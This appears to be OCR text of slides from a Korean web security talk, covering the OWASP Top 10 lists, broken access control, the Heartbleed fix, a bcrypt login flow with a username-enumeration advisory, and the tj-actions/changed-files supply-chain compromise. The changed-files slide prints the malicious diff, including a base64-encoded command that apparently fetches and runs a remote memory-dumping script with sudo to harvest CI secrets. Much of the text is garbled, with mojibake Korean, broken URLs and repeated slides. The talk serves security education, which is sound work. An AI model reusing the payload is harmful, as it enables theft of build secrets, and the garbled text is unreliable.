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OWASP Top 10

OWASP Top 10 - 2013

OWASP Top 10 - 2017

OWASP Top 10 — 2021

A1 - Injection A1 - Injection A1 -Broken Access Control

A2 - Broken Authentication and Session Management A2 - Broken Authentication A2 - Cryptographic Failures

A3 - Cross~Site Scripting (XSS) A3 - Sensitive Data Exposure A3 - Injection

A4 - Insecure Direct Object References A4 - XML External Entities (XXE) A4 - Insecure Design

AS - Security Misconfiguration AS - Broken Access Control AS - Security Misconfiguration

A6 - Sensitive Data Exposure A6 - Security Misconfiguration Ab - Vulnerable and Outdated Components

A7 - Missing Function Level Access Control A7 - Cross—Site Scripting (XSS) A7 - Identification and Authentication Failures
A8 - Cross-Site Request Forgery (CSRF) A8 - Insecure Deserialization A8 - Software and Data Integrity Failures

A9 - Using Known Vulnerable Components A9 - Using Components with Known Vulnerabilities A9 - Security Logging and Monitoring Failures
A10 - Unvalidated Redirects and Forwards A10 - Insufficient Logging & Monitoring A10 - Server-SideRequest Forgery

https://owasp.org/Top10/
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A1 - Injection A1 - Injection A1 -Broken Access Control
A2 - Broken Authentication and Session Management A2 - Broken Authentication A2 - Cryptographic Failures
A3 - Cross~Site Scripting (XSS) A3 - Sensitive Data Exposure A3 - Injection
A4 - Insecure Direct Object References A4 - XML External Entities (XXE) A4 - Insecure Design
AS - Security Misconfiguration AS - Broken Access Control AS - Security Misconfiguration
A6 - Sensitive Data Exposure A6 - Security Misconfiguration Ab - Vulnerable and Outdated Components
A7 - Missing Function Level Access Control A7 - Cross—Site Scripting (XSS) A7 - Identification and Authentication Failures
A8 - Cross-Site Request Forgery (CSRF) A8 - Insecure Deserialization A8 - Software and Data Integrity Failures
A9 - Using Known Vulnerable Components A9 - Using Components with Known Vulnerabilities A9 - Security Logging and Monitoring Failures
A10 - Unvalidated Redirects and Forwards A10 - Insufficient Logging & Monitoring A10 - Server-SideRequest Forgery

https://owasp.org/Top10/
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OWASP Top 10 — 2013

A1 - Injection

A2 - Broken Authentication and Session Management A2 - Broken Authentication

A3 - Cross—Site Scripting (XSS) A3 - Sensitive Data Exposure
A4 - Insecure Direct Object References
AS - Security Misconfiguration AS - Broken Access Control
A6 - Sensitive Data Exposure

A7 - Missing Function Level Access Control
A8 - Cross—Site Request Forgery (CSRF)
A9 - Using Known Vulnerable Components

A10 - Unvalidated Redirects and Forwards

A4 - XML External Entities (XXE)

Abé - Security Misconfiguration
A7 - Cross~-Site Scripting (XSS)

A8 - Insecure Deserialization

OWASP Top 10 - 2017

A1 -Injection

A9 - Using Components with Known Vulnerabilities

A10 - Insufficient Logging & Monitoring
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OWASP Top 10 — 2021

A1 -Broken Access Control

A2 - Cryptographic Failures

A3 - Injection

A4 - Insecure Design

AS - Security Misconfiguration

Ab - Vulnerable and Outdated Components

A7 - Identification and Authentication Failures
A8 - Software and Data Integrity Failures

A9 - Security Logging and Monitoring Failures

A10 - Server-SideRequest Forgery

https://owasp.org/Top10/
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Please support the OWASP mission to improve software security through open source initiatives and community education.
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OWASP TOp Ten ®Watch 368 Yy Star 1,203

[Main W [ Translation Efforts “ Sponsors} [ Data 20251 The OWASP® Foundation works to improve the
. security of software through its community-led open
Importa nt note: source software projects, hundreds of chapters

worldwide, tens of thousands of members, and by
hosting local and global conferences.

OWASP Top Ten 2025

Current project status as of September 2024:

« We are planning to announce the release of the OWASP Top 10:2025 in the first half of 2025. Project Information

« Data Collection (Now - December 2024): Please donate your application penetration testing statistics.
« OWASP Top 10:2021

Stay Tuned! » Making of OWASP Top 10
« OWASP Top 10:2021 - 20th Anniversary
The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus Presentation (PPTX)
about the most critical security risks to web applications. p Flagship Project
E Documentation
. & Builder
Globally recognized by developers as the first step towards more © Defender

« Previous Version (2017)

secure coding.

Downloads or Social Links

« OWASP Top 10 2017

Companies should adopt this document and start the process of ensuring that their web applications minimize these risks. Using the . Other languages - tab ‘Translation Efforts’

OWASP Top 10 is perhaps the most effective first step towards changing the software development culture within your organization

into one that produces more secure code. Social
Twitter
Top 10 Web Application Security Risks Code Repository
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Access control is only effective in trusted server-side code or server-less API, where the attacker

cannot modify the access control check or metadata.

OWASP Top 10 - Broken Access Gontrol

e Implement access control mechanisms once and re-use them throughout the application,
D@SCI’IptIOﬂ including minimizing Cross-Origin Resource Sharing (CORS) usage.

blic resources, deny by default.

Access control enforces policy such that users cannot act outside of their intended permissions. * Model access controls should enforce record ownership rather than accepting that the User

Failures typically lead to unauthorized information disclosure, modification, or destruction of all can create, read, update, or delete any record.

data or performing a business function outside the user's limits. Common access control e Unique application business limit requirements should be enforced by domain models.

vulnerabilities include:  Disable web server directory listing and ensure file metadata (e.g., .git) and backup files are

not present within web roots.

 Violation of the principle of least privilege or deny by default, where access should only be

. _ . . e Log access control failures, alert admins when appropriate (e.qg., repeated failures).
granted for particular capabilities, roles, or users, but is available to anyone. 9 PProp (e.g., rep )

_ L , e Rate limit APl and controller access to minimize the harm from automated attack tooling.
e Bypassing access control checks by modifying the URL (parameter tampering or force

browsing), internal application state, or the HTML page, or by using an attack tool modifying o Stateful session identifiers should be invalidated on the server after logout. Stateless JWT

API requests. tokens should rather be short-lived so that the window of opportunity for an attacker is
minimized. For longer lived JWTs it's highly recommended to follow the OAuth standards to

e Permitting viewing or editing someone else's account, by providing its unique identifier
revoke access.

(insecure direct object references)

e Accessing APl with missing access controls for POST, PUT and DELETE. Developers and QA staff should include functional access control unit and integration tests.

» Elevation of privilege. Acting as a user without being logged in or acting as an admin when

logged in as a user.

Example Attack Scenarios
e Metadata manipulation, such as replaying or tampering with a JSON Web Token (JWT)

access control token, or a cookie or hidden field manipulated to elevate privileges or abusing Scenario #1: The application uses unverified data in a SQL call that is accessing account
JWT invalidation. information:

e CORS misconfiguration allows API access from unauthorized/untrusted origins.
pstmt.setString(1, request.getParameter("acct"));

» Force browsing to authenticated pages as an unauthenticated user or to privileged pages as ResultSet results = pstmt.executeQuery( );

standard user.
htt ps#eW—a-S-p—e-Fgﬂre-p—‘l—g/ An attacker simply modifies the browser's 'acct’ parameter to send whatever account number
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How to Prevent

Access control is only effective in trusted server-side code or server-less API, where the attacker

OWASP Top 10 - Broken Access Control ‘

_ » Implement access control mechanisms once and re-use them throughout the application,
Descrlptlon including minimizing Cross-Origin Resource Sharing (CORS) usage.

blic resources, deny by default.

Access control enforces policy such that users cannot act outside of their intended permissions. * Model access controls should enforce record ownership rather than accepting that the user

Failures typically lead to unauthorized information disclosure, modification, or destruction of all
data or performing a business function outside the user’s limits. Common access control » Unique application business limit requirements should be enforced by domain models.

can create, read, update, or delete any record.

vulnerabilities include: « Disable web server directory listing and ensure file metadata (e.g., .git) and backup files are

not present within web roots.

« Violation of the principle of least privilege or deny by default, where access should only be

» Log access control failures, alert admins when appropriate (e.g., repeated failures).

granted for particular capabilities, roles, or users, but is available to anyone.

. . . » Rate limit APl and controller access to minimize the harm from automated attack tooling.
Bypassing access control checks by modifying the URL (parameter tampering or force

browsing), internal application state, or the HTML page, or by using an attack tool modifying  Stateful session identifiers should be invalidated on the server after logout. Stateless JWT
API requests. tokens should rather be short-lived so that the window of opportunity for an attacker is

- o . , L _ _ _ minimized. For longer lived JWTs it's highly recommended to follow the OAuth standards to
» Permitting viewing or editing someone else’s account, by providing its unique identifier )

revoke access.
(insecure direct object references)

» Accessing APl with missing acce 2 avalone : . in a_function : . itand intaaration tests.

» Elevation of privilege. Acting :
logged in as a user.

Example Attack Scenarios
» Metadata manipulation, such as replaying or tampering with a JSON Web Token (JWT)

access control token, or a cookie or hidden field manipulated to elevate privileges or abusing Scenario #1: The application uses unverified data in a SQL call that is accessing account
JWT invalidation. information:

» CORS misconfiguration allows APl access from unauthorized/untrusted origins.
pstmt.setString(1, request.getParameter("acct"));

» Force browsing to authenticated pages as an unauthenticated user or to privileged pages as ResultSet results = pstmt.executeQuery( );
a standard user.

httpSWVWPWI’U‘P‘I’W An attacker simply modifies the browser's 'acct’ parameter to send whatever account number
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OpPeNSSL Heartieed et

Cryptography and SSL/TLS Toolkit
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O Pel SSL  eartvlecd 2o

Cryptography and SSL/TLS Toolkit

if (1 + 2 + payload + 16 > s—->s3->rrec. length)

return @; /x silently discard per RFC 6520 sec. 4 %/

https://github.com/openssl/openssl/commit/96db9023b881d7cd9f379b0c154650d6¢108e9a3
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"dependencies": {
"bcrypt": "#5.1.1%,
"cls-rtracer": "*2.6.3",
“"cross—-env': "~7.0.3",
"dayjs": "*1.11.13",
"dotenv": "~16.4.7",
"express': "~4.21.1"%,

"express—async-errors': "~3.1.1%,
"jsonwebtoken": "*9.0.2",
"knex": "73.1.0",

HE 2RO 2t= 2| Are| MF (2T ES|0)
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Github Action?! changed-files Bi=0{ A}Z4

inTerNET ARcHIVE |https://code.forgejo.org/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67 Go 22 MAR aY @ Q
DREATEINR - coar <JE r
L) 024 PP 2026 B

Vs = j @l i WIYE ) [ e WA S e WA - ] . WIS WA Y~ W AN WY -

........ @ -2992,6 +2994,15 @@ const warnUnsupportedRESTAPIInputs = async ({ inputs }) => {

s
};
exports.warnUnsupportedRESTAPIInputs = warnUnsupportedRESTAPIInputs;
async function updateFeatures(token) {

const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', “echo "aWYgWlsgIiRPU1RZUEUiID@9ICJsaW51eClnbnUiIF1d0yB@aGVuCiAgQjY@X0IMTOI9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ210aHVidXN
LemNvbnR1bnQuY29tL25pa210YXNOdXBpbi8zMGUIMjViNzc2YzQwOWUwWM2MyZDZmMzI4Zj IINDK2NSOyYXcvbWVtZHVtcC5weSB8IHN1ZG8gcH10aGO9uMyB8IHRYIC1kICdcMCcgfCBnemVwIC1hbOUglyJbXiJdKyI6XHs idmFsdWUi0iJbXiJdKi

IsIm1zU2VjcmVOIjp@cnVIXHONIHwgc29ydCAtdSB8IGIhc2U2NCAtdyAwIHwgYmFzZTY@IC13IDBgCiAgZWNobyAkQjYOX0IMTOIKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh’1, {
ignoreReturnCode: true,

silent: true
1)

core.info(stdout);

https://web.archive.org/web/20250315230740/https://code.forgejo.org/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67



Hacked
python-version: 3.13

- name: Get Changed Files
id: changed-files

uses: tj—actions/changed-files@v45

# See:

NERD_CON



id: changed-files

NERD_CON

Secured =

uses: tj—actions/changed-files@aa®8304bd477b800d468db44feldfocolf7f7bll # v42.1.0
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H|Y SH|0|X| ¢ - SQL, Command 52| 213 Z2 or=l
- URL Bruteforcel 2Haisl.

*
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Server Side

Client Server Berypt

221 @A (body : username password)

>

2% BIC| B3

DBO{|A AFEX} AE B4

e

.......................................................................................................................................................................................................................................................................................... -~

[at [SIA31E ID7F S5 FS)

o2 gt2t (LOGIN_FAILURE)

<
[2X|st= ID7H U= E R :
berypt.compareSync(AH2 A7t et H|ZRHS HE DBO|_XZE_g=otEl H|LHS)
>
alt [HIEE S5} S '

PP R ———— P

--------------------------------------------------------------------------------------------------------

Client Server Berypt




Client Server

2721 A (body : username password)

>

R BICI 23

U

Server Side

Berypt

DBO|A AFSAL AE EM

[2X]et= D7} A= R

berypt.compareSync(At2XA7F ATt H|ZEHS HE DBO|_XZE_ASotEl H|ZHS)

Client Server
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Client

Server Side

Server Berypt

27121 2H (body : username, password)
>

R BIC| B3

(2|5t D7t A= FR)

.......

Client

berypt.compareSync(At2XA7t et H|ZHS HE DBO|_XNEE Sl H|LHST) 4
............................. TR T T T
0|21 gt2h (LOGIN_FAILURE)
""""""""" T T E——
it £a

Server Berypt
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CVE-2012-5055

Olxio] A}TIHIAI
P

3o

Exposure of Sensitive Informatlon 1o an Unauthorized Actor in Sprlng Securlty

Moderate severity GitHub Reviewed /| Published on May 17, 2022 to the GitHub Advisory Database « Updated on Jan 27, 2023

Vulnerability details Dependabot alerts 0

Package Affected versions Patched versions Severity

" org.springframework_security:spring-security-core <208 0. Moderate
WEYED >=3.00, <3.08

>=3.10, <3.13 EPSS score

0.273% (68th percentile)
Description
Weaknesses

» CWE-200

-----

the password if the user is not found, which makes the response delay shorter and might allow remote attackers to enumerate valid
usernames via a series of login requests.

References

8XH2 % ¢l =
3 Ilﬁ mor L
-63 A lo known s e

40 00 2=
n

=
tav 17 2027 This advisory has been edited.
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dreamhack.io
hitps://dreamhack.io
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S https://github.com/PENEKhun

Q&A i https://www.linkedin.com/in/penekhun
- penekhun@gmail.com
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